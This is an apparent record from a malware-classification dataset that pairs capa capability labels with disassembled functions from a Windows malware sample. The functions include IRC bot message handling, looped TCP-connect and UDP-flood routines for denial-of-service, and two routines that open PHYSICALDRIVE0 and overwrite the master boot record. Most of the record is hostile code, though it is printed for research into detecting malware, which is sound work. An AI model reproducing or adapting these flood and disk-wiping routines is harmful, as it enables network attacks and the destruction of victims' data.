joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18d36870
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.18d36850
test eax, eax
jne 0x18d3687c
xor eax, eax
ret
push 0x18d79c70
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x18d36879
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x18d79c70
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x18d79c70
ret

Function at 0x18d368b0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push 1
push 0x26
push 0x18d79e78
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x18d368c6
ret
push 0x18d41728
push 0x18d79e78
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, 0x18d79e78
ret

Function at 0x18d36940
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
test esi, esi
je 0x18d36a31
test dword [ebp + 0xc], 0x40000000
je 0x18d36a31
push esi
call fcn.18d319f0
add esp, 4
test eax, eax
je 0x18d36a31
push str.autorun.inf
push eax
call fcn.18d339a0
add esp, 8
test eax, eax
jne 0x18d36a31
push str.pdef
call fcn.18d37700
add esp, 4
cmp eax, 1
jne 0x18d36a31
push 0x18d417f0
push 0x18d46e90
mov edi, eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x18d36a31
push 0x18d7ac50
push 0x18d46d88
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x18d36a31
push 0x80
push 0x18d46e90
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x18d46e90
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
push 0
push 0x18d46d88
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test al, al
je 0x18d36a19
push 0x18d46d88
push esi
push 0x18d7a710
push 0x18d463ec
push str._s.Blocked___S__from_creating___S______s__will_be_removed_at_reboot_
call fcn.18d3a310
add esp, 0x14
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
push 0x18d7a710
push 0x18d463ec
push str._s.Blocked___S__from_creating___S_
call fcn.18d3a310
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x18d36a40
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x10f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov eax, dword [0x18d7ad58]
add esp, 0xc
cmp eax, ebx
je 0x18d36a82
cmp dword [ebp + 8], eax
je 0x18d36ba2
push esi
mov esi, dword [ebp + 0x18]
cmp esi, 5
jb 0x18d36ba1
push str.pdef
call fcn.18d37700
add esp, 4
test eax, eax
je 0x18d36ba1
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push edi
push ecx
push str._s:_d
push 0x18d418cc
call fcn.18d373e0
add esp, 0x10
cmp eax, 1
je 0x18d36ba0
cmp edi, 0x19c8
jb 0x18d36adc
cmp edi, 0x1b58
jbe 0x18d36ba0
cmp esi, 0x200
ja 0x18d36ba0
cmp dword [str.PRIVMSG_], ebx
je 0x18d36ba0
mov edi, dword [ebp + 0x14]
mov esi, 0x18d45658
lea esp, [esp]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esi]
push eax
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x18d36b84
push 4
push str.JOIN
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
je 0x18d36b42
push 7
push str.PRIVMSG
push edi
call sub.MSVCRT.dll__memicmp
add esp, 0xc
test eax, eax
jne 0x18d36b7d
lea ecx, [ebp - 0x110]
push ecx
push str.JOIN__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
je 0x18d36b76
lea edx, [ebp - 0x110]
push edx
push str.PRIVMSG__255s
push edi
call sub.MSVCRT.dll_sscanf
add esp, 0xc
cmp eax, 1
jne 0x18d36b7d
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
inc ebx
cmp dword [ebx*4 + 0x18d45658], 0
lea esi, [ebx*4 + 0x18d45658]
jne 0x18d36b00
cmp dword [ebp - 4], 0
ja 0x18d36baa
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
push esi
push edi
push str._s:_d
push str.block
call fcn.18d373e0
add esp, 0x10
test eax, eax
jne 0x18d36c1a
cmp dword [ebp - 8], 1
jne 0x18d36c01
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x18d36c01
lea ecx, [ebp - 0x110]
push ecx
push esi
push edi
push 0x18d7a710
push 0x18d463ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d__Target:__s_.
call fcn.18d3a310
add esp, 0x18
jmp 0x18d36c1a
push esi
push edi
push 0x18d7a710
push 0x18d463ec
push str._s.Detected_process___S__sending_an_IRC_packet_to_server__s:_d.
call fcn.18d3a310
add esp, 0x14
mov eax, dword [0x18d7a2ac]
push 0x80
push 0x18d7a710
test eax, eax
je 0x18d36c31
call eax
jmp 0x18d36c37
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 4
push 0
push 0x18d7a710
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xc]
push edx
call fcn.18d335d0
push eax
call fcn.18d36d90
mov eax, dword [ebp + 8]
add esp, 8
test eax, eax
jbe 0x18d36c65
push eax
call sub.WS2_32.dll_closesocket
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x18d37e20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x103a
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 4], 1
test esi, esi
jne 0x18d37e44
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push edi
push 0x10
push ecx
lea edi, [esi + 8]
push edi
mov dword [esi + 4], eax
call fcn.18d33640
add esp, 0xc
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi + 0x18], eax
cmp eax, 0xffffffff
je 0x18d37eb4
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
je 0x18d37eb4
mov eax, dword [esi + 0x18]
push 0x10
push edi
push eax
call sub.WS2_32.dll_connect
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], 1
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1020]
mov dword [esi], edx
mov eax, dword [eax]
mov dword [eax + 0x1020], esi
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18d37f90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub esp, 0x104
push esi
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x1c], 0
push edi
je 0x18d3804f
mov ecx, dword [esi + 0x18]
lea edi, [eax + 0x1018]
push edi
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x18d3801c
mov eax, dword [esi + 0x20]
mov dword [esi + 0x1c], 0
test eax, eax
je 0x18d38109
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov dword [esi + 0x20], 0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push edi
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
dec eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
movzx ecx, word [esi + 0x1038]
test cx, cx
jne 0x18d380d6
mov ecx, dword [esi + 0x18]
add eax, 0x1018
push eax
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x18d38109
mov ecx, dword [esi + 0x18]
push 0
push 0x1000
lea eax, [esi + 0x2f]
push eax
push ecx
call sub.WS2_32.dll_recv
mov word [esi + 0x1038], ax
test ax, ax
ja 0x18d380b3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x2d], ax
add eax, 7
mov word [esi + 0x1038], ax
pop edi
mov dword [esi + 0x28], edx
mov byte [esi + 0x2c], 3
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [eax]
push 0
movzx ecx, cx
push ecx
lea edi, [esi + 0x28]
push edi
push edx
call sub.WS2_32.dll_send
test eax, eax
jle 0x18d38109
sub word [esi + 0x1038], ax
movzx ecx, word [esi + 0x1038]
push ecx
lea edx, [eax + esi + 0x28]
push edx
push edi
call fcn.18d33640
add esp, 0xc
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x18d38120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov esi, dword [eax + 0x1020]
test esi, esi
je 0x18d38174
push esi
push edi
call fcn.18d37f90
add esp, 8
test eax, eax
jne 0x18d3816e
mov ecx, dword [esi + 4]
push eax
mov eax, dword [edi]
push 5
lea edx, [ebp - 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 4], 2
mov ecx, dword [eax]
push edx
push ecx
call sub.WS2_32.dll_send
push esi
push edi
call fcn.18d37ef0
add esp, 8
mov esi, eax
jmp 0x18d38170
mov esi, dword [esi]
test esi, esi
jne 0x18d38137
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18d381c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0x40000
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x18d381f2
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x18d3821f
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
jne 0x18d38226
push esi
call sub.WS2_32.dll_closesocket
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov ecx, dword [ebp + 0xc]
push 0x10
push ecx
push esi
call sub.WS2_32.dll_connect
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18d38670
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x18d7a6bc], 0
je 0x18d38680
xor eax, eax
pop ebp
ret
push esi
push 0x103c
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x18d3875a
mov eax, dword [ebp + 8]
push eax
call fcn.18d39300
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov dword [esi + 0x1030], eax
call sub.WS2_32.dll_htons
mov edx, 2
lea ecx, [esi + 0x102c]
mov word [ecx], dx
mov edx, dword [esi + 0x1030]
mov word [esi + 0x102e], ax
cmp edx, 0xffffffff
je 0x18d38749
test edx, edx
je 0x18d38749
test ax, ax
je 0x18d38749
push ecx
push 0x18d7a6bc
call fcn.18d381c0
add esp, 8
mov dword [esi], eax
test eax, eax
jbe 0x18d38749
mov eax, dword [esi + 0x1030]
push eax
call sub.WS2_32.dll_inet_ntoa
movzx ecx, word [esi + 0x102e]
push ecx
call sub.WS2_32.dll_ntohs
mov dword [esi + 0x1024], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0x18d38640
push 0
mov dword [esi + 0x1028], eax
push 0
mov dword [0x18d7a6bc], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x18d7a6bc], 0
xor eax, eax
pop esi
pop ebp
ret
Function at 0x18d389b0
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
push 0x34
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push edi
lea ebx, [esi + 0x10]
push ebx
push edi
push edi
lea ecx, [ebp - 0x54]
push ecx
push edi
push 2
xor eax, eax
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0x20
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], edi
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jne 0x18d38afe
push edi
lea edx, [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x1c]
push edx
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push edi
push edi
push edi
push 0x8c11c
push eax
push edi
push ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], edi
call dword [sym.imp.Secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x18d38afe
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push ecx
push edx
push esi
call fcn.18d32be0
add esp, 0xc
cmp eax, dword [ebp - 0x10]
jne 0x18d38afe
lea eax, [ebp - 0x10]
push eax
call fcn.18d38760
mov ecx, dword [ebp + 0xc]
push 1
push ecx
push esi
call fcn.18d38790
add esp, 0x10
cmp eax, 1
jne 0x18d38afe
lea eax, [esi + 0x18]
push eax
push 4
lea eax, [esi + 8]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x18d38afe
mov edx, dword [esi + 0x20]
add edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x34]
add eax, edx
push eax
push ecx
mov dword [esi + 0x38], eax
call fcn.18d32490
add esp, 8
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x18d38afe
mov eax, 1
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x2c]
push edx
call fcn.18d324a0
lea eax, [ebp - 0x10]
push eax
call fcn.18d38760
add esp, 8
add esi, 8
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
push ebx
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d38b30
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x18]
add ebx, dword [esi + 0x34]
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
xor eax, eax
push 0x2c
push eax
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [esi + 4], 0
jne 0x18d38b9a
mov edx, dword [ebp + 0xc]
push edi
push edx
push esi
call fcn.18d32be0
add esp, 0xc
xor ecx, ecx
cmp eax, edi
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x18d38c77
jmp 0x18d38ba7
mov edi, dword [ebp + 8]
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
push edx
push eax
call fcn.18d324e0
mov eax, dword [esi + 0x20]
add esp, 8
cmp edi, eax
jb 0x18d38bc0
mov edi, eax
mov ecx, dword [ebp - 8]
push edi
push ecx
push ebx
call fcn.18d32440
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp - 0xc]
sub dword [ebp + 8], edi
add dword [ebp - 8], edi
mov dword [ebp - 0x40], edx
mov edx, dword [esi + 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
lea eax, [esi + 8]
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], ecx
call sub.Secur32.dll_EncryptMessage
test eax, eax
jne 0x18d38c7a
mov byte [ebp + 0xf], al
movzx eax, byte [ebp + 0xf]
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
mov ecx, dword [ebp + eax - 0x48]
mov edx, dword [ebp + eax - 0x40]
lea edi, [ebp + eax - 0x48]
push ecx
push edx
push esi
call fcn.18d32be0
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, dword [edi]
jne 0x18d38c7d
mov al, byte [ebp + 0xf]
inc al
mov byte [ebp + 0xf], al
cmp al, 3
jb 0x18d38c35
cmp dword [ebp + 8], 0
jne 0x18d38ba4
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d39300
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x18d39326
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x18d3931f
pop esi
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebp
ret

Function at 0x18d39330
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.18d39300
mov edx, dword [ebp + 0xc]
add esp, 4
mov ecx, 2
push edx
mov esi, eax
mov word [ebp - 0x14], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], esi
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
sub esi, eax
mov dword [ebp - 0x3d4], eax
cmp esi, edi
ja 0x18d3941c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x18d45b7c], 0
jne 0x18d3941b
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x18d393c6
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x18d393a0
xor esi, esi
mov edi, edi
mov eax, dword [ebp + esi*4 - 0xdc]
push 0x10
lea edx, [ebp - 0x14]
push edx
push eax
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x18d393d0
push 0x64
call ebx
xor esi, esi
nop
mov ecx, dword [ebp + esi*4 - 0xdc]
push ecx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x18d393f0
push 0x4b
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x3d4]
cmp eax, edi
jbe 0x18d39395
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18d39430
Capabilities:
Check for time delay via gettickcount
Create udp socket
Encrypt data using rc4 ksa
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a40
call fcn.18d40f10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.18d39300
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x18d39467
movzx eax, ax
jmp 0x18d39486
call edi
push eax
call main
add esp, 4
call fcn.18d33870
movzx eax, ax
cdq
mov ecx, 0xffff
idiv ecx
inc edx
movzx eax, dx
mov edx, 2
push eax
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
mov dword [ebp - 0x10], esi
mov word [ebp - 0x12], ax
xor esi, esi
mov edi, edi
call fcn.18d33870
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [ebp + esi - 0x1a41], dl
jl 0x18d394a0
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
mov ebx, eax
sub esi, ebx
cmp esi, edi
ja 0x18d39574
jmp 0x18d394e0
cmp dword [0x18d45b7c], 0
jne 0x18d39574
xor esi, esi
nop
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x18d39516
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x18d394f0
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0xdc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1964
lea ecx, [ebp - 0x1a40]
push ecx
push edx
call sub.WS2_32.dll_sendto
inc esi
cmp esi, 0x32
jl 0x18d39520
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, dword [ebp + esi*4 - 0xdc]
push eax
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x18d39551
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jbe 0x18d394e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d39d90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 4
push 0x1000
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
test eax, eax
jne 0x18d39dbe
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x20000080
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x18d39dee
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ecx
push esi
push edi
mov ecx, 0x2000
xor eax, eax
mov edi, dword [ebp - 8]
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x18d39e4f
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 4]
push edx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x18d39e80
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push edi
push ebx
call esi
test eax, eax
jne 0x18d39e80
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push eax
push eax
push 0x9001c
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18d39ec0
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push 0x1ff
lea eax, [ebp - 0x207]
push 0
push eax
mov byte [ebp - 0x208], 0
call sub.MSVCRT.dll_memset
push 3
lea ecx, [ebp - 0x208]
push str.00100
push ecx
call fcn.18d33640
add esp, 0x18
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [ebp - 0xa], 0x55
mov byte [ebp - 9], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x18d39f2a
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x200
lea ecx, [ebp - 0x208]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret